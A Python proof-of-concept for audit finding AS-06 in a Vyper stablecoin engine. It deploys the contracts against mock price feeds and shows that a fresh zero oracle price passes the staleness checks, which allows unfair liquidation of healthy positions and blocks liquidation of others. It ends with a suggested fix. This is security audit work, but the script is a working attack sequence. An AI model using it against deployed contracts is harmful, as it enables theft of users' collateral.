"""
PoC AS-06: oracle_lib._stale_check_latest_round_data never checks price > 0.
oracle_lib checks only updated_at != 0, answered_in_round >= round_id and the
72h age, then returns `price` unchecked. A fresh answer of exactly 0:
- passes every staleness check,
- converts cleanly in convert(price, uint256) (only negatives revert),
- makes _get_usd_value value that collateral at 0,
- makes _get_token_amount_from_usd divide by zero (revert).
Consequences shown here, with the real in-scope contracts:
1. a mixed-collateral user who is healthy at real prices (HF 1.25) becomes
liquidatable (HF 0.75) and a liquidator seizes the healthy collateral plus
the 10% bonus;
2. a single-asset user in the zero-priced token cannot be liquidated at all
(division by zero / underflow) - the engine neither freezes nor works.
Both collateral tokens are 18-decimal (src/mocks/mock_token.vy) so the
separate decimals finding (AS-01) does not interfere. Feeds are the repo's
MockV3Aggregator (8 decimals, like Chainlink USD feeds).
The circuit-breaker (minAnswer clamp) limb depends on how the deployed
Chainlink aggregator behaves and is NOT exercised here.
Run (from the repo root): .venv/Scripts/python poc/poc_AS-06.py
"""
import subprocess
import sys
if not sys.flags.utf8_mode:
sys.exit(subprocess.call([sys.executable, "-X", "utf8", *sys.argv]))
import boa
ENGINE = "src/dsc_engine.vy"
ORACLE_LIB = "src/oracle_lib.vy"
DSC_SRC = "src/decentralized_stable_coin.vy"
MOCK_TOKEN = "src/mocks/mock_token.vy"
MOCK_FEED = "src/mocks/MockV3Aggregator.vy"
E18 = 10**18
Y_PRICE = 2_000 * 10**8
X_PRICE = 100_000 * 10**8
TIMEOUT = 72 * 3600
def usd(x_wei):
return x_wei / E18
dsc = boa.load(DSC_SRC)
tok_x = boa.load(MOCK_TOKEN)
tok_y = boa.load(MOCK_TOKEN)
feed_x = boa.load(MOCK_FEED, 8, X_PRICE)
feed_y = boa.load(MOCK_FEED, 8, Y_PRICE)
engine = boa.load(
ENGINE, [tok_x.address, tok_y.address], [feed_x.address, feed_y.address], dsc.address
)
dsc.set_minter(engine.address, True)
dsc.transfer_ownership(engine.address)
oracle = boa.load(ORACLE_LIB)
assert tok_x.decimals() == 18 and tok_y.decimals() == 18
assert engine.get_usd_value(tok_x.address, E18) == 100_000 * E18
assert engine.get_usd_value(tok_y.address, E18) == 2_000 * E18
def fund_and_deposit(who, token, amount):
with boa.env.prank(who):
token.mint_amount(amount)
token.approve(engine.address, amount)
engine.deposit_collateral(token.address, amount)
print("== 0. baseline: oracle_lib checks ==")
probe = boa.load(MOCK_FEED, 8, X_PRICE)
boa.env.time_travel(seconds=TIMEOUT + 1)
with boa.reverts("DSCEngine_StalePrice"):
oracle.stale_check_latest_round_data(probe.address)
print("stale answer (age > 72h) -> reverts DSCEngine_StalePrice")
probe.updateAnswer(-1)
assert oracle.stale_check_latest_round_data(probe.address)[1] == -1
feed_x.updateAnswer(-1)
with boa.reverts():
engine.get_usd_value(tok_x.address, E18)
print("negative answer (-1), fresh -> oracle_lib returns it unchecked; engine convert() reverts")
probe.updateAnswer(0)
rd = oracle.stale_check_latest_round_data(probe.address)
print(f"zero answer, fresh -> oracle_lib returns {rd} (NO revert)")
assert rd[1] == 0
assert rd[3] == boa.env.evm.patch.timestamp
feed_x.updateAnswer(X_PRICE)
feed_y.updateAnswer(Y_PRICE)
print("== 1. positions at real prices ==")
victim = boa.env.generate_address("victim")
x_only = boa.env.generate_address("x_only")
liq = boa.env.generate_address("liquidator")
fund_and_deposit(victim, tok_y, 75 * E18 // 100)
fund_and_deposit(victim, tok_x, E18 // 100)
with boa.env.prank(victim):
engine.mint_dsc(1_000 * E18)
hf_victim_real = engine.health_factor(victim)
print(f"victim: 0.75 Y + 0.01 X = ${usd(engine.get_account_collateral_value(victim)):,.0f} collateral, 1,000 DSC, HF={hf_victim_real / E18}")
assert hf_victim_real == 125 * E18 // 100
fund_and_deposit(x_only, tok_x, 2 * E18 // 100)
with boa.env.prank(x_only):
engine.mint_dsc(500 * E18)
assert engine.health_factor(x_only) == 2 * E18
print(f"x_only: 0.02 X = $2,000 collateral, 500 DSC, HF={engine.health_factor(x_only) / E18}")
fund_and_deposit(liq, tok_y, 10 * E18)
with boa.env.prank(liq):
engine.mint_dsc(1_000 * E18)
dsc.approve(engine.address, 1_000 * E18)
with boa.env.prank(liq):
with boa.reverts("DSCEngine__HealthFactorOk"):
engine.liquidate(tok_y.address, victim, 1_000 * E18)
print("baseline: liquidate(Y, victim, 1000 DSC) at real prices -> reverts DSCEngine__HealthFactorOk")
print("== 2. feed X reports a fresh answer of 0 ==")
feed_x.updateAnswer(0)
rid, ans, started, updated, air = feed_x.latestRoundData()
assert ans == 0 and updated == boa.env.evm.patch.timestamp and air >= rid
assert engine.get_usd_value(tok_x.address, E18) == 0
print(f"get_usd_value(X, 1e18) = {engine.get_usd_value(tok_x.address, E18)} (no revert; staleness checks all pass)")
with boa.reverts():
engine.get_token_amount_from_usd(tok_x.address, 1_000 * E18)
print("get_token_amount_from_usd(X, $1000) -> reverts (division by zero)")
hf_victim_zero = engine.health_factor(victim)
print(f"victim HF now {hf_victim_zero / E18} (X leg counts $0; collateral ${usd(engine.get_account_collateral_value(victim)):,.0f})")
assert hf_victim_zero == 75 * E18 // 100
assert hf_victim_zero < E18
print("== 3. liquidator seizes Y + 10% bonus from a position healthy at real prices ==")
liq_y_before = tok_y.balanceOf(liq)
victim_y_before = engine.get_collateral_balance_of_user(victim, tok_y.address)
with boa.env.prank(liq):
engine.liquidate(tok_y.address, victim, 1_000 * E18)
seized = tok_y.balanceOf(liq) - liq_y_before
victim_y_after = engine.get_collateral_balance_of_user(victim, tok_y.address)
print(f"liquidator burned 1,000 DSC, received {seized / E18} Y = ${usd(seized * 2_000):,.0f}")
assert seized == 55 * E18 // 100
assert victim_y_before - victim_y_after == seized
assert engine.user_to_dsc_minted(victim) == 0
assert dsc.balanceOf(liq) == 0
feed_x.updateAnswer(X_PRICE)
equity_before = 2_500 - 1_000
equity_after = usd(engine.get_account_collateral_value(victim)) - 0
print(f"victim equity at real prices: before ${equity_before:,.0f}, after ${equity_after:,.0f} -> lost ${equity_before - equity_after:,.0f} (the 10% bonus)")
assert engine.get_account_collateral_value(victim) == 1_400 * E18
assert equity_before - equity_after == 100
print("== 4. single-asset X position: unliquidatable while X reads 0 ==")
feed_x.updateAnswer(0)
assert engine.health_factor(x_only) == 0
print(f"x_only HF = {engine.health_factor(x_only)} (< 1e18, liquidatable in principle)")
with boa.env.prank(liq):
engine.mint_dsc(500 * E18)
dsc.approve(engine.address, 500 * E18)
with boa.reverts():
engine.liquidate(tok_x.address, x_only, 500 * E18)
with boa.reverts():
engine.liquidate(tok_y.address, x_only, 500 * E18)
print("liquidate(X, x_only, 500) -> reverts (division by zero)")
print("liquidate(Y, x_only, 500) -> reverts (no Y collateral, underflow)")
with boa.env.prank(x_only):
with boa.reverts("DSCEngine__BreaksHealthFactor"):
engine.mint_dsc(1)
with boa.reverts("DSCEngine__BreaksHealthFactor"):
engine.redeem_collateral(tok_x.address, 1)
print("x_only mint_dsc(1) / redeem_collateral(X, 1) -> revert DSCEngine__BreaksHealthFactor")
print("PASS: AS-06 proven - a fresh zero answer passes oracle_lib, values X at 0, "
"lets a healthy (HF 1.25 at real prices) mixed position be liquidated for the 10% bonus, "
"and makes X-only positions unliquidatable (div-by-zero) instead of freezing the engine")
Reject non-positive answers in the library, so the engine freezes on them the same way it freezes on stale data.